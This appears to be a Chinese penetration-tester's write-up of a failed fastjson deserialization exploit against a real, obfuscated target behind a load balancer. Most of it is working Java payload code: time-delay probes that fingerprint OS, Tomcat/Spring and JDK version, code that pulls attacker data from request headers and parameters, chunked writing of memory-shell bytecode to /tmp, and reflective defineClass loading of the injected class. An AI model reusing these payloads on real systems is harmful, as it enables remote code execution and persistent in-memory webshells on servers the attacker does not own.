在社区中,较少看到关于“失败”案例的文章。本文将记录一次在负载均衡场景下失败的 fastjson 漏洞利用案例。
目标环境
ps:项目已经结束一段时间,截图全来自 burp 的历史记录,很难 100% 还原当时的历程,且看即可
漏洞点已做模糊处理
获取目标操作系统、中间件、框架、JDK版本信息
1)探测操作系统
探测原因
String osName = System.getProperty("os.name").toLowerCase();if (osName.contains("nix") || osName.contains("nux") || osName.contains("mac")) {Thread.sleep(3000);} else if (osName.contains("win")) {Thread.sleep(6000);} else {Thread.sleep(9000);}
通过以上代码判断目标为 linux
2)探测中间件和框架
探测原因
Map<Thread, StackTraceElement[]> stackTraces = Thread.getAllStackTraces();for (Map.Entry<Thread, StackTraceElement[]> entry : stackTraces.entrySet()) {StackTraceElement[] stackTraceElements = entry.getValue();for (StackTraceElement element : stackTraceElements) {// element.getClassName().contains("org.springframework.web"if (element.getClassName().contains("org.apache.catalina.core")) {Thread.sleep(5000);return;}}}
通过堆栈的方式+类名推断目标为 tomcat + springmvc(大概率为springboot)
3)探测 jdk 版本
探测原因
低版本 jdk 缺少部分特性,如果构造的 payload 兼容性不够好(语法不支持),会导致误报,影响判断
越高的 jdk 就越多的特性,这会让缩短 payload 长度变得更容易
// 获取 Java 版本String javaVersion = System.getProperty("java.version");// 解析主版本号int majorVersion = Integer.parseInt(javaVersion.split("\\.")[1]);// 进行版本判断switch (majorVersion) {case 5:Thread.sleep(1000);break;case 6:Thread.sleep(2000);break;case 7:Thread.sleep(3000);break;case 8:Thread.sleep(4000);break;default:Thread.sleep(5000);break;
通过以上代码判断出 jdk 版本号为 8
先贴出结论
payload 分离方案
业务层面
代码层面
bcel 内嵌文件写入
远程加载
request inputstream
request parameter
request header
payload 利用方案
业务层面优先级 > 代码层面,但是由于是黑盒,业务层面只能靠翻 js 出奇迹
1)文件上传功能点- 失败
如果有文件上传功能,则可以直接上传payload,然后用 bcel 去加载执行,顺利的情况基本两个包就搞定,也就不需要再分段写 payload
回看 burpsuite 的 Site map 时,注意到以下响应:
/xxxxServer/show/material?url=[加密字符串]访问该链接发现是个图片,一顿猜测路由触发 tomcat 报错(离成功近了10步)
/xxxxServer/upload/material基本可以得出结论
每次能写入的内容太短,不考虑
3)远程加载 - 失败
目标不出网,失败(这个很好验证,这里跳过)
4)request header - 成功
已知目标为 tomcat + springmvc 的组合,理论上可以用 https://github.com/pen4uin/java-echo-generator-release 一把梭; 但实际情况是由于长度限制太短,payload 还需手动缩短;
经过多次测试,最终使用 springmvc 的工具类构造符合长度条件的 payload 如下:
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();Object requestAttributes = classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder").getMethod("getRequestAttributes").invoke((Object)null);Object request = requestAttributes.getClass().getMethod("getRequest").invoke(requestAttributes);// 传入 header nameString headerName = (String)request.getClass().getMethod("getParameter", String.class).invoke(request, "header_name");// 判断后端接受到是否接收到 headerString flag = (String)request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);if (flag != null && !flag.equals("")) {Thread.sleep(3000L);}
首先判断是否接收到 Host
后续经过测试, X-Forwarded-For 能传递的内容长度在 1000 左右;在不考虑网络稳定性、负载均衡的情况下,注入内存马的的字节码(jMG生成)至少需要分16次写入
5)request inputstream - 失败
测试代码
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();Object requestAttributes = classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder").getMethod("getRequestAttributes").invoke(null);Object request = requestAttributes.getClass().getMethod("getRequest").invoke(requestAttributes);InputStream inputStream = (InputStream) request.getClass().getMethod("getInputStream").invoke(request);BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));StringBuilder stringBuilder = new StringBuilder();String line;while ((line = reader.readLine()) != null) {stringBuilder.append(line);}String code = stringBuilder.toString();if (!code.contains("ok")) {Thread.sleep(3000);}
测试结果
6)request parameter - 成功
测试代码
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();Object requestAttributes = classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder").getMethod("getRequestAttributes").invoke(null);Object request = requestAttributes.getClass().getMethod("getRequest").invoke(requestAttributes);String flag;// 判断是否能取到通过 request parameter 传入的参数flag = (String) request.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(request, new Object[]{"flag"});if (flag != null && !flag.equals("")) {Thread.sleep(3000);}
测试结果
后续经过测试,得到 get parameter 能传递的内容长度大概在 2000左右,比 request header 的方式写入次数少一倍(优先方案)
从以上枚举结果可以得到以下方案:
下面是具体的代码实现和利用过程
1)创建文件 - 成功
String fileName = "/tmp/code.txt";String code = "";File file = new File(fileName);if (!file.exists()) {BufferedWriter writer = new BufferedWriter(new java.io.FileWriter(fileName, true));writer.write(code);writer.close();Thread.sleep(3000);}
2)判断文件是否存在 - 成功
File file = new File("/tmp/code.txt");if (file.exists()) {Thread.sleep(3000);}
3)拆分内存马的字节码,限制长度为 2000;
内存马字节码最终拆成了8组
4)从 request parameter 获取字节码内容进行写入 - 成功
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();Object requestAttributes = classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder").getMethod("getRequestAttributes").invoke(null);Object request = requestAttributes.getClass().getMethod("getRequest").invoke(requestAttributes);String code = (String) request.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(request, new Object[]{"user_name"});File file = new File(file_path);if (file.exists()) {BufferedWriter writer = new BufferedWriter(new FileWriter(file_path, true));writer.write(code);writer.close();Thread.sleep(3000);}
5)读取字节码进行 defineClass - 失败
带着侥幸的心理进行尝试
try {ClassLoader classLoader = Thread.currentThread().getContextClassLoader();byte[] fileBytes = Files.readAllBytes(Paths.get("/tmp/code.txt"));String base64String = new String(fileBytes, StandardCharsets.UTF_8).replace("\r", "").replace("\n", "");byte[] byteArray = base64Decode(base64String);Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);defineClass.setAccessible(true);Class clazz = (Class) defineClass.invoke(classLoader, byteArray, 0, byteArray.length);clazz.newInstance();Thread.sleep(3000);} catch (Exception ignored) {Thread.sleep(5000);}
延时5 秒, 说明 defineClass 失败
6)排查失败原因
根据经验猜测可能的原因如下:
优化后的代码,主要针对负载的情况
1)创建文件
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();Object requestAttributes = classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder").getMethod("getRequestAttributes").invoke(null);Object request = requestAttributes.getClass().getMethod("getRequest").invoke(requestAttributes);String file_path = (String) request.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(request, new Object[]{"file_path"});String code = (String) request.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(request, new Object[]{"user_name"});if (file_path != null && !file_path.isEmpty()) {File file = new File(file_path);if (file.exists()) {if (file.delete()) {BufferedWriter writer = new BufferedWriter(new FileWriter(file_path, true));writer.write(code);writer.close();Thread.sleep(3000);}}}
优化:
2)追加文件内容
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();Object requestAttributes = classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder").getMethod("getRequestAttributes").invoke(null);Object request = requestAttributes.getClass().getMethod("getRequest").invoke(requestAttributes);String file_path = (String) request.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(request, new Object[]{"file_path"});String small_size = (String) request.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(request, new Object[]{"small_size"});String max_size = (String) request.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(request, new Object[]{"max_size"});String code = (String) request.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(request, new Object[]{"user_name"});if (file_path != null && !file_path.isEmpty()) {File file = new File(file_path);// 在写入内容前判断当前文件内容长度if (file.exists() && file.length() > Long.parseLong(small_size) && file.length() < Long.parseLong(max_size)) {BufferedWriter writer = new BufferedWriter(new FileWriter(file_path, true));writer.write(code);writer.close();Thread.sleep(3000);}}
优化:
创建文件时写入了长度为 2000 的内容,后续追加内容时通过给定的范围对文件的大小进行判断,这样即使多次重放也不会带来其他干扰,以此保证不会出现同样的内容多次写入/内容遗漏的情况,使用举例:
第1次追加内容(创建文件时已写入 2000 长度的内容)
...
try {ClassLoader classLoader = Thread.currentThread().getContextClassLoader();byte[] fileBytes = Files.readAllBytes(Paths.get("/tmp/code.txt"));String base64String = new String(fileBytes, StandardCharsets.UTF_8).replace("\r", "").replace("\n", "");byte[] byteArray = base64Decode(base64String);Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);defineClass.setAccessible(true);Class clazz = (Class) defineClass.invoke(classLoader, byteArray, 0, byteArray.length);clazz.newInstance();Thread.sleep(3000);} catch (Exception ignored) {Thread.sleep(5000);}
public ClassExist() throws InterruptedException {try {ClassLoader classLoader = Thread.currentThread().getContextClassLoader();classLoader.loadClass("com.fasterxml.jackson.AbstractMatcherGjListener");Thread.sleep(3000);} catch (Exception ignored) {Thread.sleep(5000);}}
可惜的是内存马还是连接失败,虽说有负载但一次都没命中也实在难以理解。
这个站花费了近两天的时间进行测试,虽然还有很多思路待尝试:
但是考虑到当时还有其他目标,以及即使成功注入内存马,可能存在的请求方式限制也会带来很多额外的适配工作,所以还是选择了放弃死磕。
漏洞利用虽然失败了,但也算是为《记一次 Shiro 的实战利用》文章末尾关于负载均衡+不出网利用的遗留问题提供了一种可选方案。